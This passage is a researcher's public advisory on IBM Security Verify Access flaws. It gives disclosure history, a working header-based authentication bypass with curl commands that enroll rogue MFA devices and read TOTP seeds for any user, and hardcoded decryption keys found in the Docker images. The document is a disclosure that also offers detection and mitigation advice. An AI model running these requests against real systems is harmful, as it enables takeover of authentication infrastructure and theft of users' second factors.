<li><a href="#outdated-ibm-crypto-for-c">non-assigned CVE vulnerability - Outdated "IBM Crypto for C" library</a></li>
<li><a href="#n-days">non-assigned CVE vulnerability - Webseald using outdated code with remotely exploitable vulnerabilities</a><br>
30.1. <a href="#n-days-libmodsecurity">Libmodsecurity.so - 1 non-assigned CVE vulnerability</a><br>
30.2. <a href="#n-days-yamlcpp">libtivsec_yamlcpp.so - 4 CVEs</a><br>
30.3. <a href="#n-days-xml4c">libtivsec_xml4c.so - outdated Xerces-C library</a></li>
<li><a href="#outdated-untrusted-cas">non-assigned CVE vulnerability - Outdated and untrusted CAs used in the Docker images</a></li>
<li><a href="#lack-of-privilege-separation">non-assigned CVE vulnerability - Lack of privilege separation in Docker instances</a></li>
</ol>
<p>TL;DR: An attacker can compromise IBM Security Verify Access using multiple vulnerabilities (7 RCEs, 1 auth bypass, 8 LPEs and some additional vulnerabilities).
IBM Security Verify Access is a SSO solution mainly used by banks, Fortune 500 companies and governmental entities.</p>
<p><em>Miscellaneous notes</em>:</p>
<p>The vulnerabilities were found in October 2022 and were communicated to IBM at the beginning of 2023. They ultimately were patched at the end of June 2024 (after 18 months). Requiring 1.5 years to provide security patches for vulnerabilities found in a SSO solution does not appear to be in par with current cybersecurity risks and is quite worrying. Update: Following communications with IBM PSIRT in September 2024 regarding missing CVEs and the publication of this security advisory, it was confirmed that at least one vulnerability was not yet patched (a 2017 DoS in libinjection, no CVE).</p>
<p>The vulnerabilities were patched progressively in the 10.0.6, 10.0.7 and 10.0.8 versions. It is unclear if all the non-assigned CVE vulnerabilities have been patched but IBM confirmed that all the vulnerabilities were patched and then IBM closed all the corresponding tickets.</p>
<p>Other issues had been reported but ultimately were dismissed (e.g. hard-to-trigger crashes and I did not have any time left for this security assessment).</p>
<p>Communication with IBM was difficult since IBM closed the tickets used to track the vulnerabilities multiple times without releasing any security patches. The <a href="#timeline">timeline</a> provided at the later part of this advisory provides an overview of the interactions I have had with IBM. IBM PSIRT redirected queries to IBM support and IBM support provided extremely disappointing answers to vulnerabilities. When I went back to IBM PSIRT with these answers, IBM PSIRT refused them and provided opposite answers. Reporting vulnerabilities to IBM was also inefficient. When I asked IBM for missing CVEs in September 2024, IBM PSIRT confirmed that patches were missing. All the tickets were already closed in June 2024 by IBM and I previously received confirmation that all the vulnerabilities had been patched.</p>
<p>Security bulletins were mainly found by following <a href="https://twitter.com/CVEnew">@CVEnew</a> and I had to guess the patched vulnerabilities from the CVE descriptions. After some requests, thankfully, IBM sent me a list of CVEs corresponding to the vulnerabilities I reported.</p>
<p>It appears that some CVEs are still missing.</p>
<p>Finally, another CVE (<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-38371">CVE-2023-38371</a>, not present in this advisory) was assigned by IBM but refers to an issue (<em>V-[REDACTED] - Insecure SSLv3 connections to the DSC servers</em> in the report sent to IBM) that was confirmed <strong>not</strong> to be a vulnerability by IBM and by me, after a second analysis. This CVE is likely to be revoked. Update: IBM confirmed in September 2024 that this CVE was bogus after I signaled IBM that this is an incorrect CVE.</p>
<p><em>Impacts</em></p>
<p>An attacker can compromise the entire authentication infrastructure based on IBM Security Verify Access (ISAM/ISVA appliances and IBM Docker images) using multiple vulnerabilities (7 RCEs, 1 auth bypass, 8 LPEs and some additional vulnerabilities).
Regarding the threat model, it is worth noting that attackers must be able to MITM traffic or get access inside the LAN of the tested organizations to exploit these vulnerabilities.</p>
<p>When the IBM Security Verify Access (ISVA) runtime docker instance (a core component of this solution) is reachable over the network, an attacker can bypass the entire authentication and interact with this back-end instance as any user, providing a complete control over any user without authentication.  The IBM Security Verify Runtime Docker instance provides the advanced access control and federation capabilities and is a core functionality of IBM Security Verify Access: it provides a back-end for authenticating users (for example, it supports HOTP, TOTP, RSA OTP, MAC OTP with email delivery, username and password, FIDO2/WebAuthn...). The back-end APIs provided by the IBM Security Verify Access runtime docker instance are vulnerable to an authentication bypass vulnerability. Since the back-end is fully reachable, this vulnerability allows an attacker to get persistence in a targeted infrastructure by enrolling malicious Multi-Factor Authenticators to any user, without authentication (e.g. an authenticator assigned to any user, protected by a PIN (or not) chosen by the threat actor). In an offensive scenario, an attacker will likely delete authenticators for admins and security team and enroll new authenticators corresponding to admin accounts and get full control over the infrastructure while locking out legit admins.</p>
<p>This vulnerability has not been patched and IBM recommends implementing network restrictions or using mutual TLS authentication and following best practices:</p>
<blockquote>
<p>Note: If the runtime container is exposed on an external IP address there must be network restrictions in place to ensure that access is not allowed from untrusted clients, or the runtime must be configured to require mutual TLS authentication.</p>
<p>From <a href="https://www.ibm.com/docs/en/sva/10.0.8?topic=support-docker-image-verify-access-runtime#concept_thc_pnz_w4b__title__1">https://www.ibm.com/docs/en/sva/10.0.8?topic=support-docker-image-verify-access-runtime#concept_thc_pnz_w4b__title__1</a></p>
<p>And from <a href="https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters">https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters</a></p>
<p>And from <a href="https://www.ibm.com/docs/en/sva/10.0.8?topic=appliance-tuning-runtime-application-parameters-tracing-specifications">https://www.ibm.com/docs/en/sva/10.0.8?topic=appliance-tuning-runtime-application-parameters-tracing-specifications</a></p>
</blockquote>
<p>Note that even with network restrictions, a low privileged user on a trusted machine can fully compromise the authentication solution, since the back-end used to manage the entire authentication infrastructure can be reached without authentication by sending a specific HTTP header. Network exposure of this back-end (e.g. with IPv6, from monitoring servers, from docker servers, from webseal servers [that must, by design, reach the authentication back-end], or using a SSRF vulnerability) means a full take over of the authentication infrastructure, which can be quite problematic for large organizations.</p>
<p><em>Recommendations</em></p>
<ul>
<li>Apply security patches.</li>
<li>Use network segmentation to isolate the Security Verify Access (ISVA) Runtime Docker instance.</li>
<li>Implement the optional authentication based on SSL certificates in the ISVA Runtime Docker instance (this functionality has been added in the latest ISVA release (10.0.8)).</li>
<li>Flag any additional authenticator added to an account as suspicious.</li>
<li>Review logs for any HTTP access from untrusted IPs to the Security Verify Access Runtime Docker instance.</li>
</ul>
<p>Shodan provides a list of websites using this technology. For SOC teams, I suggest using Shodan to check if your organization is using IBM Security Verify Access and following IBM's security recommendations. Please note that due to the versatility of this solution, it is very difficult to correctly detect affected installations using a blackbox approach:</p>
<ul>
<li><a href="https://www.shodan.io/search?query=http.favicon.hash%3A-2069014068">https://www.shodan.io/search?query=http.favicon.hash%3A-2069014068</a>, 1,740 results as of October 30, 2024</li>
<li><a href="https://www.shodan.io/search?query=webseal">https://www.shodan.io/search?query=webseal</a>, 1,083 results as of October 30, 2024</li>
<li><a href="https://www.shodan.io/search?query=CP%3D%22NON+CUR+OTPi+OUR+NOR+UNI%22">https://www.shodan.io/search?query=CP%3D%22NON+CUR+OTPi+OUR+NOR+UNI%22</a>, 6,673 results as of October 30, 2024</li>
</ul>
<p><a id="auth-bypass-runtime"></a></p>
<h2>Details - Authentication Bypass on IBM Security Verify Runtime</h2>
<p>It is possible to compromise the authentication mechanism and the authentication infrastructure by reaching the APIs provided by the IBM Security Verify Runtime Docker instance.</p>
<p>The threat model for this vulnerability requires an attacker with network connectivity to the IBM Security Verify Runtime Docker instance (i) from the Internet (if this service is insecurely exposed) or (ii) more likely from within LAN of the audited organization (meaning the threat actor can reach the HTTPS server of IBM Security Verify Runtime Docker instance).</p>
<p>The IBM Security Verify Runtime Docker instance provides the advanced access control and federation capabilities. It is a core functionality of IBM Security Verify Access: it provides a back-end for authenticating users. For example, it supports HOTP, TOTP, RSA OTP, MAC OTP with email delivery, username and password, FIDO2/WebAuthn...</p>
<p>The different authentication mechanisms in the APIs provided by the Runtime Docker instance used to manage users (e.g. adding an authenticator for a specific user, removing an authenticator, getting seeds, ...) can be trivially bypassed by specifying an additional HTTP header <code>iv-user: target-user</code> (e.g. <code>iv-user: admin</code>) in the HTTPS requests.</p>
<p>Adding an additional HTTP header <code>iv-user: target-user</code> when querying the APIs will provide a complete control over the <code>target-user</code>.</p>
<p>There is a HTTPs server reachable on port 443/tcp providing APIs:</p>
<p><img alt="" src="images/2024-isva-runtime-instance-www.png" /></p>
<p><a href="images/2024-isva-runtime-instance-www-full.png">Click here for full image</a></p>
<p>Usually, the IBM Security Verify Runtime Docker instance is only reached by WebSEAL servers (reverse-proxies managing authentication), after a successful authentication as <code>easuser</code>, as shown below:</p>
<p>Documentation from <a href="https://www.ibm.com/docs/SSPREK_10.0.0/com.ibm.isva.doc/config/reference/ref_isamcfg_wga_worksheet.htm">https://www.ibm.com/docs/SSPREK_10.0.0/com.ibm.isva.doc/config/reference/ref_isamcfg_wga_worksheet.htm</a>:</p>
<blockquote>
<p>Select the method for authentication between WebSEAL and the Advanced Access Control runtime listening interface</p>
<p>Certificate authentication</p>
<p>Use a certificate to authenticate between WebSEAL and the Advanced Access Control runtime listening interface.</p>
<p>User ID and password authentication</p>
<p>Use credentials to authenticate between WebSEAL and the Advanced Access Control runtime listening interface.
  The default username is easuser and the default password is passw0rd.</p>
</blockquote>
<p>Attack scenario: an attacker will reach the HTTPS APIs provided by the IBM Security Verify Runtime Docker instance and will not use a SSL Certificate or any credential used to manage the instance (<code>easuser</code>).</p>
<p><img alt="" src="images/2024-isva-runtime-instance-direct-access.png" /></p>
<p>Note that while the WebSEAL are exposed to the Internet, the runtime instance is located inside the LAN and is not usually exposed to the Internet. The attacker needs to be located inside the LAN to reach the vulnerable APIs.</p>
<p>According to the documentation at <a href="https://www.ibm.com/docs/en/sva/10.0.7">https://www.ibm.com/docs/en/sva/10.0.7</a>, we can see that the APIs are always reachable using the <code>/mga/sps/*</code> path. Actually, the <code>/mga/</code> route seems to be managed by WebSEAL servers while the <code>/sps/*</code> routes are managed by the runtime docker instance.</p>
<p>Without authentication, an attacker can reach the IBM Security Verify Runtime Docker image docker instance by reaching, for example, the <code>/sps/oauth/oauth20/authorize?client_id=ClientID&amp;response_type=code&amp;scope=mmfaAuthn</code> API endpoint and specifying which target user to compromise using the additional HTTP header <code>iv-user: target-user</code>. This specific endpoint is used to enroll a new Multiple-Factor Authenticator (e.g. <a href="https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp&amp;hl=en">the official IBM Security Verify app</a>) for the <code>target-user</code> user.</p>
<p>By specifying the HTTP header <code>iv-user: target-user</code>, an attacker can interact with all the APIs located in <code>/sps/*</code> for any user, without authentication.</p>
<p>Listing of authenticators without any cookie or HTTP header - this non-intrusive request allows detecting a vulnerable IBM Security Verify Runtime Docker instance configured to use MFA.</p>
<pre><code>kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators | jq .
{
  "result": "FBTRBA306E The user management operation failed because the user is not authenticated."
}
</code></pre>
<p>Listing of authenticators for the <code>target-user</code> - with <code>iv-user</code> HTTP header (without session cookies nor specific credentials):</p>
<pre><code>kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators -H "iv-user: target-user" | jq .
[
  {
    "device_name": "Iphone 13 Pro Max",
    "oauth_grant": "uuida71[REDACTED]",
    "auth_methods": [],
    "os_version": "13",
    "device_type": "[REDACTED]",
    "id": "uuid20[REDACTED]",
    "enabled": true
  },
  {
    "device_name": "Iphone 13 Pro Max",
    "oauth_grant": "uuida71[REDACTED]",
    "auth_methods": [],
    "os_version": "13",
    "device_type": "[REDACTED]",
    "id": "uuid20[REDACTED]",
    "enabled": true
  },
[...]
kali%
</code></pre>
<p>It is possible to enroll any new authenticator for the user target without authentication by reaching the IBM Security Verify Runtime instance and specifying <code>iv-user: target-user</code> in the HTTP header:</p>
<p><img alt="" src="images/2024-isva-runtime-instance-bypass-auth.png" /></p>
<p>A PoC is provided below. The provided secret code allows enrolling a new authenticator for the target user <code>target-user</code>. Note that the <code>client_id</code> variable must be edited as we use the specific TestAuthenticatorClient client identifier.
The valid <code>client_id</code> variable can be retrieved from the <code>/sps/mga/user/mgmt/grant</code> API:</p>
<pre><code>kali% curl -kv -H "iv-user: target-user" https://test-runtime/sps/mga/user/mgmt/grant | jq .
{
  "grants": [
    {
      "id": "uuida71[REDACTED]",
      "isEnabled": true,
      "clientId": "TestAuthenticatorClient",
[...]
</code></pre>
<p>I suggest using the specific <code>client_id</code> identifier configured in the targeted instance. The correct <code>client_id</code> identifier can also be obtained by visiting <code>https://test-runtime/sps/mga/user/mgmt/html/device/device_selection.html</code>. The <code>device_selection.html</code> webpage is just a front-end to get access to several APIs:</p>
<ul>
<li>/sps/mga/user/mgmt/grant</li>
<li>/sps/mmfa/user/mgmt/authenticators</li>
<li>/sps/fido2/registrations</li>
<li>/sps/mga/user/mgmt/device </li>
<li>/sps/apiauthsvc/policy/u2f_register</li>
<li>/sps/mga/user/mgmt/clients</li>
<li>...</li>
</ul>
<p>For example, visiting a remote IBM Security Verify Runtime instance at<code>https://url/sps/mga/user/mgmt/html/device/device_selection.html</code> without an <code>iv-user: target-user</code> HTTP header will return empty information (since the resulting requests sent to APIs are not "authenticated"):</p>
<p><img alt="" src="images/2024-isva-runtime-instance-device_selection.png" /></p>
<p><a href="images/2024-isva-runtime-instance-device_selection-full.png">Click here for full image</a></p>
<p>Visiting the same address <code>https://url/sps/mga/user/mgmt/html/device/device_selection.html</code> using Burp Suite Pro, and (i) adding a HTTP Header <code>iv-user: target-user</code> in all the resulting HTTP requests and (ii) rewriting the URL from <code>^\/mga\/sps\/</code> to <code>\/sps\/</code> (since the <code>/mga/</code> path is hardcoded in JavaScript code) will now provide a full access for the <code>target-user</code> (adding an authenticator, deleting an authenticator, adding passkeys, ...).</p>
<p><img alt="" src="images/2024-isva-runtime-instance-device_selection-http-header-iv-user.png" /></p>
<p><a href="images/2024-isva-runtime-instance-device_selection-http-header-iv-user-full.png">Click here for full image</a></p>
<p>An attacker can also add an new authenticator for any user using curl:</p>
<p>PoC:</p>
<pre><code>kali% curl -kv "https://test-runtime/sps/oauth/oauth20/authorize?client_id=TestAuthenticatorClient&amp;response_type=code&amp;scope=mmfaAuthn" -H "iv-user: target-user"          
* Host test-runtime:443 was resolved.
* IPv6: (none)
* IPv4: 10.0.0.15
*   Trying 10.0.0.15:443...
* Connected to test-runtime (10.0.0.15) port 443
* using HTTP/1.x
&gt; GET /sps/oauth/oauth20/authorize?client_id=TestAuthenticatorClient&amp;response_type=code&amp;scope=mmfaAuthn HTTP/1.1
&gt; Host: test-runtime
&gt; User-Agent: curl/8.5.0
&gt; Accept: */*
&gt; iv-user: target-user
&gt; 
&lt; HTTP/1.1 302 Found
&lt; X-Frame-Options: SAMEORIGIN
&lt; Pragma: no-cache
&lt; Location: https://enroll-url/mga/sps/mmfa/user/mgmt/html/mmfa/qr_code.html?client_id=TestAuthenticatorClient&amp;code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y
&lt; Content-Language: en-US
&lt; Transfer-Encoding: chunked
&lt; Date: Sat, 07 Sep 2024 12:07:21 GMT
&lt; Expires: Thu, 01 Dec 1994 16:00:00 GMT
&lt; Cache-Control: no-store, no-cache=set-cookie
&lt; 
* Connection #0 to host test-runtime left intact
</code></pre>
<p>The resulting secret <code>code</code> provided in the HTTP answer can be used to enroll an official <a href="https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp&amp;hl=en">IBM Security Verify application</a> corresponding to the <code>target-user</code>.</p>
<p>In order to import this secret token inside an IBM Verify Security application (an authenticator), we can:</p>
<ul>
<li>reach the <code>https://test-runtime/sps/mmfa/user/mgmt/html/mmfa/qr_code.html?client_id=TestAuthenticatorClient&amp;code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y</code> webpage (without <code>/mga</code> at the beginning of the URL) and scan the generated QR code; Burp Suite Pro is required to replace all the API calls from <code>/mga/sps/</code> to <code>/sps/</code>; or</li>
</ul>
<p><img alt="" src="images/2024-isva-scan-qrcode.png" /></p>
<ul>
<li>reach the <code>/sps/mmfa/user/mgmt/qr_code/json</code> API to get the json encoded data inside the QR code (using <code>?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&amp;client_id=TestAuthenticatorClient</code>) and generate the QR code (note that in the next HTTP answer, the <code>ignoreSslCerts=true</code> is not the default option); or</li>
</ul>
<pre>
GET /sps/mmfa/user/mgmt/qr_code/json?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&client_id=TestAuthenticatorClient HTTP/1.1
Host: test-runtime
iv-user: target-user
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Content-Language: en-US
Connection: Close
Date: Sat, 07 Sep 2024 20:39:55 GMT
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-store, no-cache=set-cookie
Content-Length: 202

{"code":"0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y","options":"ignoreSslCerts=true",
"details_url":"https:\/\/enroll-url\/mga\/sps\/mmfa\/user\/mgmt\/details",
"version":1,"client_id":"TestAuthenticatorClient"}
</pre>

<ul>
<li>
<p>reach the <code>/mga/sps/mmfa/user/mgmt/qr_code/json</code> API (provided by any targeted WebSEAL servers from the same infrastructure, including Internet-faced WebSEAL servers) to get the json encoded data inside the QR code (using <code>?code=0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y&amp;client_id=TestAuthenticatorClient</code>) and generate the QR code; or</p>
</li>
<li>
<p>simply locally generate the QR code containing the JSON data as shown below using the <code>qrencode</code> program:</p>
</li>
</ul>
<pre>
    kali% qrencode -o picture.png '{"code":"0nXkRywNfZkCoA5WFtZqDk5mKJPV9Y","options":"ignoreSslCerts=false","details_url":"https:\/\/enroll-url\/mga\/sps\/mmfa\/user\/mgmt\/details","version":1,"client_id":"TestAuthenticatorClient"}'
</pre>

<p>Then the QR code needs to be scanned using the official <a href="https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp&amp;hl=en">IBM Verify Security App</a> in order to enroll a new device. By default, the specific <code>https://enroll-url/mga/sps/mmfa/user/mgmt/details</code> is always reachable from the Internet in order to successfully enroll smartphones.</p>
<p><img alt="" src="images/2024-isva-runtime-instance-bypass-enroll.png" /></p>
<p>The <a href="https://play.google.com/store/apps/details?id=com.ibm.security.verifyapp&amp;hl=en">official IBM Security Verify application</a> has been used and successfully enrolled for the <code>target-user</code> and can now be used to authenticate as <code>target-user</code>:</p>
<p><img alt="" src="images/2024-isva-runtime-instance-bypass-enroll-success.png" /></p>
<p><a href="images/2024-isva-runtime-instance-bypass-enroll-success-full.png">Click here for full image</a></p>
<p>The device has been correctly enrolled from the Internet as shown below, by using the <code>/sps/mmfa/user/mgmt/authenticators</code> API without authentication. </p>
<pre><code>kali% curl -ks https://test-runtime/sps/mmfa/user/mgmt/authenticators -H "iv-user: target-user" | jq . 
[
  {
    "device_name": "Samsung S22",
    "oauth_grant": "uuida72253ef[REDACTED]",
    "auth_methods": [
      {
        "key_handle": "32e[REDACTED].userPresence",
        "id": "uuidb694[REDACTED]",
        "type": "user_presence",
        "enabled": true,
        "algorithm": "SHA256withRSA"
      }
    ],
    "os_version": "13",
    "device_type": "[REMOVED]",
    "id": "uuidb4fde[REDACTED]",
    "enabled": true
  },
[...]
</code></pre>
<p>Furthermore, all the APIs in <code>/sps/*</code> are directly reachable by specifying the HTTP header <code>iv-user: target-user</code>.</p>
<p>We can also list the secret key for the seed corresponding to OTP:</p>
<pre><code>kali% curl -ks https://test-runtime/sps/mga/user/mgmt/otp/totp -H "iv-user: target-user" | jq .          
{                                  
  "period": "30",
  "secretKeyUrl": "otpauth://totp/Example:target-user"?secret=NSJ[REDACTED][REDACTED][REDACTED]&amp;issuer=Example",
  "secretKey": "NSJ[REDACTED][REDACTED][REDACTED]",
  "digits": "6",
  "username": "target-user",
  "algorithm": "HmacSHA1"
}
</code></pre>
<p>All the APIs located in <code>/sps/</code> are vulnerable to this authentication bypass.</p>
<p>As shown previously, it is possible to bypass the entire authentication and interact with the IBM Security Verify runtime docker instance as any user.</p>
<p>An attacker can enroll a device for any user, bypassing the entire access controls, and get control over the infrastructure. Since the back-end is fully reachable, an attacker can also delete any authenticator for any user.</p>
<p>At the time of the security assessment (October 2022), I was not able to find any official documentation that recommends not exposing the runtime instance to the network, since the runtime APIs are password protected.</p>
<p>The latest ISVA release (10.0.8) implements an optional authentication based on SSL certificates. It is <strong>strongly recommended</strong> to implement this authentication mechanism and not to expose the ISVA runtime instance to the network.</p>
<p><strong>Without this optional authentication, any malicous actor (i) with access to WebSEAL servers (with a shell or a SSRF vulnerability) or (ii) with direct network access to the runtime instance, or (iii) with a shell access to any 'trusted' machine (e.g. a monitoring server querying the HTTPS server of ISVA runtime), or (iv) with a low-privilege shell on the docker server running the solution, can completely compromise the authentication infrastructure, without credentials</strong>.</p>
<p>Regarding the official recommendations, IBM recommends (i) not to expose the runtime instance to untrusted clients or (ii) to implement SSL-based certificate authentication and follow the following best practices. IBM provided these references as official responses regarding this issue:</p>
<ul>
<li>From <a href="https://www.ibm.com/docs/en/sva/10.0.8?topic=support-docker-image-verify-access-runtime#concept_thc_pnz_w4b__title__1">https://www.ibm.com/docs/en/sva/10.0.8?topic=support-docker-image-verify-access-runtime#concept_thc_pnz_w4b__title__1</a>;</li>
<li>And <a href="https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters">https://www.ibm.com/docs/en/sva/10.0.8?topic=settings-runtime-parameters</a>;</li>
<li>And <a href="https://www.ibm.com/docs/en/sva/10.0.8?topic=appliance-tuning-runtime-application-parameters-tracing-specifications">https://www.ibm.com/docs/en/sva/10.0.8?topic=appliance-tuning-runtime-application-parameters-tracing-specifications</a>:</li>
</ul>
<blockquote>
<p>Note: If the runtime container is exposed on an external IP address there must be network restrictions in place to ensure that access is not allowed from untrusted clients, or the runtime must be configured to require mutual TLS authentication.</p>
</blockquote>
<p>From my understanding, this vulnerability is not going to be patched (no security bulletin was published and no CVE has been assigned, ticket has been closed as solved) because, according to the official recommendations, it is the customer's responsability to filter any communication to the runtime instance. This present security advisory will allow offensive and defensive security teams to correctly understand and improve their security posture.</p>
<p>About the detection of insecure instances, a HTTPS request to the <code>/sps/</code> route providing the banner <code>Server: IBM Security Verify Access</code> in the HTTPS answer will allow SOC team to detect an instance. The banner will not appear when reaching <code>https://test-runtime/</code>). If MFA is used, a HTTP request to <code>/sps/mga/user/mgmt/html/device/device_selection.html</code> (port <code>443</code> or <code>9443</code>, by default) will allow SOC team to detect an insecure ISVA runtime instance. An answer indicating <code>200 OK</code> with the content of the <code>device_selection.html</code> webpage will indicate that the tested instance is probably insecure:</p>
<pre><code>kali% curl -k https://test-runtime/sps/mga/user/mgmt/html/device/device_selection.html
[...]
&lt; HTTP/1.1 200 OK
&lt; X-Frame-Options: SAMEORIGIN
&lt; Server: IBM Security Verify Access
&lt; Content-Type: text/html;charset=UTF-8
[...]
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt;
&lt;html&gt;

&lt;head&gt;
  &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
  &lt;title&gt;Device Selection&lt;/title&gt;
  &lt;link type="text/css" rel="stylesheet" href="/sps/static/design.css"&gt;&lt;/link&gt;
  &lt;link type="text/css" rel="stylesheet" href="/sps/mga/user/mgmt/html/device/device_selection.css"&gt;&lt;/link&gt;
  &lt;script type="text/javascript" src="/sps/mga/user/mgmt/html/mgmt_msg.js"&gt;&lt;/script&gt;
  &lt;script type="text/javascript" src="/sps/static/u2fI18n.js"&gt;&lt;/script&gt;
  &lt;script type="text/javascript" src="/sps/mga/user/mgmt/html/common.js"&gt;&lt;/script&gt;
  &lt;script type="text/javascript" src="/sps/mga/user/mgmt/html/device/device_selection.js"&gt;&lt;/script&gt;
</code></pre>
<p>On a side note, from my tests, the APIs are also exposed with authentication from the Internet by visiting <code>https://enroll-url/mga/sps/mga/user/mgmt/html/device/device_selection.html</code>. If <code>device_selection.html</code> is blocked, it is simply possible to inject the correct answer with Burp Suite Pro (using the <code>device_selection.html</code> webpage available in official IBM Docker images) and the previous <code>/mga/sps/</code> APIs are still reachable since they are needed to successfully enroll an authenticator from the Internet (e.g. the official IBM Verify Security App running on a smartphone). An attacker that enrolled a rogue authenticator to a compromised account can get persistence access from the Internet even if the runtime instance is not reachable anymore or if the "regular" ISVA servers are only reachable from inside the company: the APIs provided by the Internet-faced enrolling server will allow the attackers to enroll new authenticators and retrieve current seeds.</p>
<p>Furthermore, with Internet-faced servers (by design, to enroll authenticators) and an authenticated session, the attack surface is quite big.</p>
<p>It is also possible to list the target version of a Internet-faced instance (proxifed through WebSEAL) by visiting the <code>/mga/sps/mmfa/user/mgmt/details</code> API (when MFA is enabled in ISVA):</p>
<pre><code>curl -s https://internet-faced-website/mga/sps/mmfa/user/mgmt/details | jq .
{
  "authntrxn_endpoint": "https://info.domain.tld/scim/Me?attributes=urn:ietf:params:scim:schemas:extension:isam:1.0:MMFA:Transaction:transactionsPending,urn:ietf:params:scim:schemas:extension:isam:1.0:MMFA:Transaction:attributesPending",
  "metadata": {
    "service_name": "Organisation",
    "qrlogin_endpoint": "https://info.domain.tld/mga/sps/authsvc?PolicyId=urn:ibm:security:authentication:asf:qrcode_response"
[...]
  "enrollment_endpoint": "https://info.domain.tld/scim/Me",
[...]
  "version": "10.0.8.0",
[...]
}
</code></pre>
<p><a id="reuse-snapshot-private-keys"></a></p>
<h2>Details - Reuse of snapshot private keys</h2>
<p>The official Docker images have been retrieved and analyzed on a local machine:</p>
<pre><code>kali-docker# docker images
REPOSITORY                     TAG        IMAGE ID       CREATED        SIZE
ibmcom/verify-access-runtime   10.0.4.0   498e181d7395   3 months ago   1.07GB
ibmcom/verify-access-wrp       10.0.4.0   c0003aca743c   3 months ago   442MB
ibmcom/verify-access           10.0.4.0   206efdd7809c   3 months ago   1.53GB
ibmcom/verify-access-dsc       10.0.4.0   959f6f1095e9   3 months ago   305MB
kali-docker# docker save 498e181d7395 &gt; ibmcom/verify-access-runtime.tar
kali-docker# docker save c0003aca743c &gt; ibmcom/verify-access-wrp.tar
kali-docker# docker save 206efdd7809c &gt; ibmcom/verify-access.tar
kali-docker# docker save 959f6f1095e9 &gt; ibmcom/verify-access-dsc.tar
</code></pre>
<p>It was observed that instances contain custom encryption/decryption keys (<code>device_key.kdb</code> and <code>device_key.sth</code> files) located inside <code>/var/.ca/</code>.</p>
<p>These keys are used by the <code>isva_decrypt</code> utility present in all the images. For example, the <code>/usr/sbin/bootstrap.sh</code> script will decrypt the stored openldap.zip file using <code>isva_decrypt</code>:</p>
<p>Content of <code>/usr/sbin/bootstrap.sh</code>:</p>
<pre><code>[...]
# Decrypt and extract the LDAP configuration.
isva_decrypt $snapshot_tmp_dir/openldap.zip

unzip -q -o $snapshot_tmp_dir/openldap.zip -d /
[...]
</code></pre>
<p>When doing an analysis on the official IBM images obtained on Docker Hub, we can confirm the keys (<code>device_key.kdb</code> and <code>device_key.sth</code>) are in fact hardcoded inside these official IBM images and some of them are also world-readable by default:</p>
<pre><code>kali-docker# ls -la */*/var/.ca/*            
-rw-r--r-- 1 root root 5991 Jun  8 01:29 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.kdb
-rw-r--r-- 1 root root  193 Jun  8 01:29 _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.sth
-rw-r--r-- 1 root root 5991 Jun  8 01:29 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.kdb
-rw-r--r-- 1 root root  193 Jun  8 01:29 _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.sth
-rw------- 1 root root 5991 Jun  8 01:31 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.kdb
-rw------- 1 root root  193 Jun  8 01:31 _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.sth
-rw-r--r-- 1 root root 5991 Jun  8 01:29 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.kdb
-rw-r--r-- 1 root root  193 Jun  8 01:29 _verify-access-wrp.tar/b96855ec6855fe34f69782b210ae257d2203ad22d4d79f3bfd4818fa57bcc39a/var/.ca/device_key.sth

kali-docker# sha256sum */*/var/.ca/*|sort|uniq
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce  _verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/var/.ca/device_key.sth
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce  _verify-access-runtime.tar/2bf2e32495580fbf5de2abb686d8727c10372a2f7a717ad2608f18362c6c7960/var/.ca/device_key.sth
dc47d4cfd4fb21ebaad215b2bca4f7d5c5f32e7c3b6678dc69a570ad534628ce  _verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/.ca/mesa_ca.sth
